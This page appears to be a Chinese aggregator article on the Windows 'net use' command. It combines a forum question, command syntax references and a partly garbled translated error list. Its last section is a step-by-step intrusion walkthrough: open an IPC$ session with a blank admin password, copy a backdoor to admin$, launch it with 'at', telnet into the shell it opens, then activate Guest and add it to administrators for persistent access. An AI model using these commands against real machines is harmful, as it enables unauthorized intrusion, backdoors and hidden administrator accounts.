net use 命令的使用.

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了net use 命令的使用.相关的知识,希望对你有一定的参考价值。

我家里有一台电脑,学校有一台电脑,我想在学校远程控制家里的电脑,我知道有一个命令net use 家里的电脑没有装任何防火墙和杀毒软件,也没有关闭ipc,只有一个用户administrator,密码为空.是不是只要在学校的电脑命令提示符下输入net use \\ip\ipc$ "" /user:"administrator".就能建立连接.net use z: \\ip\c$ "" /user:"administrator"就能把本地的z:映射成远程主机上的c:了.请高手指点.必有重谢.

此命令的语法是:

NET USER
[username [password | *] [options]] [/DOMAIN]
username password | * /ADD [options] [/DOMAIN]
username [/DELETE] [/DOMAIN]

NET USER 用于创建和修改计算机上的用户帐户。当不带选项使用本命令时,
它会列出计算机上的用户帐户。用户帐户的信息存储在用户帐户数据库中。

该命令仅在服务器上运行。

username 指需要进行添加、删除、修改或者浏览的用户帐户的名字。用户帐
户的名字不能超过 20 个字符。
password 分配或改变用户帐户的密码。密码必须满足 NET ACCOUNTS 命令的
/MINPWLEN 选项指定的最小长度的要求。它至多可以具有 14 个字符。
* 提示输入密码。当用户在密码提示符下输入时,密码是不会显示的。
/DOMAIN 在当前域的主域控制器上执行操作。
/ADD 将用户帐户添加到用户帐户数据库中。
/DELETE 从用户帐户数据库中删除用户帐户。

Options 如下所示:

Options 描述
--------------------------------------------------------------------
/ACTIVE:YES | NO 激活或停用帐户。如果帐户处于停用状态,用户
能访问该服务器。该选项的默认值是 YES。
/COMMENT:"text" 提供关于用户帐户的一个描述性注释 (最多 48 个
)。需要将文本括在引号中。
/COUNTRYCODE:nnn 使用操作系统的国家/地区代码来实施用户的帮助
误消息的特定语言文件。0 表示默认的国家/地
码。
/EXPIRES:date | NEVER 如果日期被设置,就会引起帐户过期。设置NEVER,
户就没有时间上的限制。根据国家/地区代码的
,有效日期的格式可以是月/日/年或日/月/年。
以是一个数字,拼写完整的或三个字母的缩写。
以是两位或四位数字。使用斜线(/)(没有空格)
隔日期的各个部分。
/FULLNAME:"name" 是一个用户的完整名字(而不是用户名)。需要把名字
号括起来。
/HOMEDIR:pathname 设置用户的主目录的路径。路径必须已经存在。
/PASSWORDCHG:YES | NO 指定用户是否可以改变自己的密码。其默认值是 YES。
/PASSWORDREQ:YES | NO 指定用户的帐户是否必须具有密码。其默认值是 YES。
/PROFILEPATH[:path] 为用户的登录配置文件设置路径。
/SCRIPTPATH:pathname 指用户的登录文件所在的位置。
/TIMES:times | ALL 指用户可以登录的时间。TIMES 的表达方式是
day[-day][,day[-day]],time[-time][,time[-time]],增量限制
在 1 小时。天可以是全部拼写或缩写。小时可以是 12
小时或 24 小时制。对于 12 小时制,可以使用 AM,PM。
ALL 表示用户总是可以登录。空值表示用户永远不能登录。
可以使用逗号分隔天和时间项,并用分号分隔多个天和时
间项。
/USERCOMMENT:"text" 让管理人员添加或改变帐户的用户注释。
/WORKSTATIONS:computername[,...] | *
列出至多8个用户可以登录到网络上的计算机。
如果 /WORKSTATIONS 没有列表或列表是 *,
用户就可以从任何一台计算机上登录。
参考技术A 这很老的招了,流光就用这个的.一般用于同一个内网映射.你家的IP不是公网IP的话,是不行的.或有个网关分配内网IP段如:192.168.*.* 10.1.*.*之类的话也不行的.有公网IP可以用远程管理软件如Radmin,没有公网IP可以用反弹连接的如:灰鸽子(前提是你学校的电脑有公网IP)
还有一种就是用建站软件如:教育网快车之类的把内网的IP映射到一个URL上,以实现外面的网络能够访问你的电脑建的网站.这也可以用于远程管理的用途
net use可以在CMD下net use/?以得到帮助,这就不多说了.
参考技术B 这种远程控制必须涉及到一个公网IP才有可能。
家里的电脑用宽带时可能会获得一个公网IP不过那是动态的,必须编程获知当前IP然后自动发到某个邮箱里供你获知。
学校电脑一般是在校园网内网中的,这时又要分你们是采用NAT还是PROXY。
总之 net use肯定在这种情况下是不能用的。
我有APM软件包,已经做到了在家远程遥控公司的办公电脑。你这种反向的还没试过。可能必须改进一下或用APM的更高级产品VPN才行了。
参考技术C 说的简单一点你那是不行的啊
必须是得在同一个局域网里面
除非你家里的那台电脑是公网IP

图解net use 命令使用示例

一 使用示例

检索网络连接列表


帮助


创建网络映像




建立空连接:


建立非空连接


本机的共享;


建立非空连接


删除共享映射

看下图,删除后客户端连接为0;


查看远程主机的共享资源


 查看本地主机的共享资源


得到远程主机的用户名列表


得到本地主机的用户列表


显示本地主机当前服务


映射远程共享





二 net use 命令

用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),当不带选项使用本命令时,它会列出计算机的连接。
中文名 NET USE 外文名 NET USE 指令环境 Windows
目录
1 说明
2 语法
3 错误列表
说明
用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),当不带选项使用本命令时,它会列出计算机的连接。
语法
NET USE
[devicename | *] [\\\\computername\\sharename[\\volume] [password | *]]
[/USER:[domainname\\]username]
[/USER:[dotted domain name\\]username]
[/USER:[username@dotted domain name]
[/SMARTCARD]
[/SAVECRED]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]
NET USE {devicename | *} [password | *] /HOME
NET USE [/PERSISTENT:{YES | NO}]
注意:各参数之间有空格,如
net use \\\\computername /user
↑ ↑ 空格
参数说明
例子devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。
有两种类型的设备名:磁盘驱动器 (D: 至 Z:) 和打印机
(LPT1: 至 LPT3:)。输入 一个星号来代替一个指定的设备名可以分配下一个可用设备名。
\\\\computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,就要将双反斜线 (\\\\) 和计算机名一起用引号(" ")括起来。计算机名可以有1 到 15 个 字符。
\\sharename 指共享资源的网络名字。
\\volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware的客户服务(Windows 工作站) 或者 Netware 的网关服务(Windows 服务器) 并使之与 NetWare 服务器相连。
password 指访问共享资源所需要的密码。* 进行密码提示。当在密码提示符下输入密码时,密码不会显示。
/USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。
username 指定登录的用户名。
/SMARTCARD 指定连接使用在智能卡上的凭据。
/SAVECRED 指定保留用户名和密码。此开关被忽略,除非命令提示输入用户名和密码。
/HOME 将用户与他们的主目录相连。
/DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。
/PERSISTENT 控制对永久网络连接的使用。其默认值是最近使用的设置。
YES 在连接产生时保存它们,并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时恢复。可以使用 /DELETE 选项开关来删除永久连接。
建立磁盘映射↓
列如:net use J: \\\\MOVIE01\\movie06$ 建立磁盘映射
net use i: \\\\movie\\movie3$ "2009" /user:"2009" 用用户名登陆磁盘映射
删除磁盘映射↓
列如:net use i: /del
错误列表
System Errors
系统错误种类
System error 5 - Access is denied
系统错误5 -拒绝访问
System error 5 because of firewall
系统错误五,因为防火墙
System error 5 when using net view command in Vista
系统错误5 在Vista使用net view
System error 8 - Not enough storage is available to process this command
系统错误8 -没有足够的存储是可用来处理此命令
System error 21 has occurred - The device is not ready.
系统错误21日发生了-该装置没有准备好。
System error 51 has occurred - The remote computer is not available
系统错误51已经发生-远程计算机不可到达
System error 52 - You were not connected because a duplicate name exists on the network.
系统错误52 -本机在网络中重名。
System error 53 - The network path was not found
系统错误53 -网络路径没有被发现
System error 59 has occurred.
系统错误59已经发生。 An unexpected network error occurred 意想不到的网络发生错误
System error 64 - "The specified network name is no longer available"
系统错误64 -"指定网络名称不再可用"
System error 67 - The network name cannot be found
系统错误67 -网络名称不能找到
System Error 71 - The network request was not accepted
系统错误71 -网络的要求不被接受
system error 71 has occurred - Post
系统错误71已经发生-送出
System error 85 has occurred. The local device name is already in use
系统错误85已经发生。本地设备名是已在使用中
System error 85 has occurred - Case Study
系统错误85已经发生-案例研究
System error 234 - More data is available
System Error 1130 - "Not enough server storage is available to process this command" and “Not enough memory to complete transaction. Close some applications and retry"
系统错误1130 -"没有足够的服务器存储,是可用来处理此命令" " 没有足够的内存,以完成处理。 关闭一些应用程序和再审"
System error 1219 has occurred - The credentials supplied conflict with an existing set of credentials
系统错误1219已经发生 - 全权证书供应的冲突与现有的全权证书
System error 1219 - Multiple connections to a server
系统错误1219 - 多重连接到一台服务器
System error 1231 has occurred. The network location cannot be reached.
系统错误1231已经发生 - 网络定位不能达成共识。
System error 1231 - There are no entries on the list
系统错误123已经发生 - 没有任何entries名单
System Error 1240 - The account is not authorized to login from this station.
系统错误1240 - 该帐户是没有获得授权登录从这个站点。
System error 1311 - There are currently no logon servers available to service the logon request
系统错误1311 - 目前没有登入伺服器提供服务登录请求
System error 1312 has occurred - - A specified logon session does not exist. It may already have been terminated.
系统错误, 1312已经发生 - - 指定帐号会议是不存在的。 它可能已经被终止。
System Error 1314 – A required privilege is not held by the client
系统错误第1314 - 要求特权,是不是举行,由客户端
System error 1326 has occurred - Logon failure: unknown user name or bad password
系统错误, 1326已经发生 -登录失败:未知的用户名或密码
System error 1326 - Logon failure: unknown user name
系统错误1326 -登录失败:未知的用户名
System error 1326 has occurred when using net use in Vista
系统错误1326发生-Vista系统中在使用网络应用
System error 1331 has occurred - Logon failure: account current disable
系统错误第1331发生了-登入失败:帐户目前停用
System error 1385 has occurred - Logon failure: the user has not been granted the requested logon type at this computer
系统错误第1385发生了-登入失败:使用者未获批准,被请求登入类型,在这台电脑
System error 1396 has occurred - Logon Failure: The target account name is incorrect.
系统错误, 1396已经发生 -登入失败:目标帐户名称是不正确。
System error 6118 - The list of servers for this workgroup is not currently available
系统错误6118 -名单上的服务器,这个工作目前还没有可供
System error 1726 has occurred. The remote procedure call failed.
系统错误, 1726已经发生。 远程过程调用失败了。

========

三 net use命令详解



1)建立空连接: 
net use \\\\IP\\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格) 

2)建立非空连接: 
net use \\\\IP\\ipc$ "密码" /user:"用户名" (同样有3个空格) 

3)映射默认共享: 
net use z: \\\\IP\\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\\\IP\\c$ 

4)删除一个ipc$连接 
net use \\\\IP\\ipc$ /del 

5)删除共享映射 
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del 删除全部,会有提示要求按y确认 

3 查看远程主机的共享资源(但看不到默认共享) 
net view \\\\IP 

4 查看本地主机的共享资源(可以看到本地的默认共享) 
net share 

5 得到远程主机的用户名列表 
nbtstat -A IP 

6 得到本地主机的用户列表 
net user 

7 查看远程主机的当前时间 
net time \\\\IP 

8 显示本地主机当前服务 
net start 

9 启动/关闭本地服务 
net start 服务名 /y 
net stop 服务名 /y 

10 映射远程共享: 
net use z: \\\\IP\\baby 
此命令将共享名为baby的共享资源映射到z盘 

11 删除共享映射 
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del /y删除全部 

12 向远程主机复制文件 
copy \\路径\\srv.exe \\\\IP\\共享目录名,如: 
copy ccbirds.exe \\\\*.*.*.*\\c 即将当前目录下的文件复制到对方c盘内 

13 远程添加计划任务 
at \\\\ip 时间 程序名,如: 
at \\\\127.0.0.0 11:00 love.exe 
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径 
14 开启远程主机的telnet 
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求: 

1)目标开启了ipc$共享 
2)你要拥有管理员密码和帐号 
3)目标开启RemoteRegistry服务,用户就该ntlm认证 
4)对WIN2K/XP有效,NT未经测试 
命令格式:OpenTelnet.exe \\\\server account psw NTLM认证方式 port 
试例如下:c:\\>OpenTelnet.exe \\\\*.*.*.* administrator "" 1 90 

15 激活用户/加入管理员组 
1 net uesr account /active:yes 
2 net localgroup administrators account /add 

16 关闭远程主机的telnet 
同样需要一个小程序:ResumeTelnet.exe 
命令格式:ResumeTelnet.exe \\\\server account psw 
试例如下:c:\\>ResumeTelnet.exe \\\\*.*.*.* administrator "" 

17 删除一个已建立的ipc$连接 
net use \\\\IP\\ipc$ /del 

九 经典入侵模式 
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 

1. C:\\>net use \\\\127.0.0.1\\IPC$ "" /user:"admintitrators" 
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 
复制之前务必用net view \\\\IP这个命令看一下对方的共享情况 
2. C:\\>copy srv.exe \\\\127.0.0.1\\admin$ 
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\\winnt\\system32\\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 

3. C:\\>net time \\\\127.0.0.1 
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。 

4. C:\\>at \\\\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 

5. C:\\>net time \\\\127.0.0.1 
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。 

6. C:\\>telnet 127.0.0.1 99 
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 

7.C:\\>copy ntlm.exe \\\\127.0.0.1\\admin$ 
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 

8. C:\\WINNT\\system32>ntlm 
输入ntlm启动(这里的C:\\WINNT\\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) 

为了以防万一,我们再把guest激活加到管理组 
10. C:\\>net user guest /active:yes 
将对方的Guest用户激活 

11. C:\\>net user guest 1234 
将Guest的密码改为1234,或者你要设定的密码 

12. C:\\>net localgroup administrators guest /add 
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机) 

另外,你也可以根据返回的错误号分析原因: 

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限; 
错误号51,Windows无法找到网络路径:网络有问题; 
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$; 
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连; 
错误号1326,未知的用户名或错误密码:原因很明显了; 
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动; 
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码

    在使用这种方法屏蔽网络映射功能时,只需要先打开系统的运行对话框,并在其中执行“cmd”字符串命令,将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x:/del”字符串命令,就能将网络磁盘分区为“X”的网络映射连接断开了,要想快速地将本地计算机中所有的网络映射连接断开的话,只需要执行“net use * /del”字符串命令就可以了。

以上是关于net use 命令的使用.的主要内容,如果未能解决你的问题,请参考以下文章

net use 命令的使用.

大虾们帮帮我好吗,关于net use命令用法问题,谢谢了

winxp系统下怎么使用net use命令

如何使用net use命令解析网络映像

求 net use命令

net use命令详解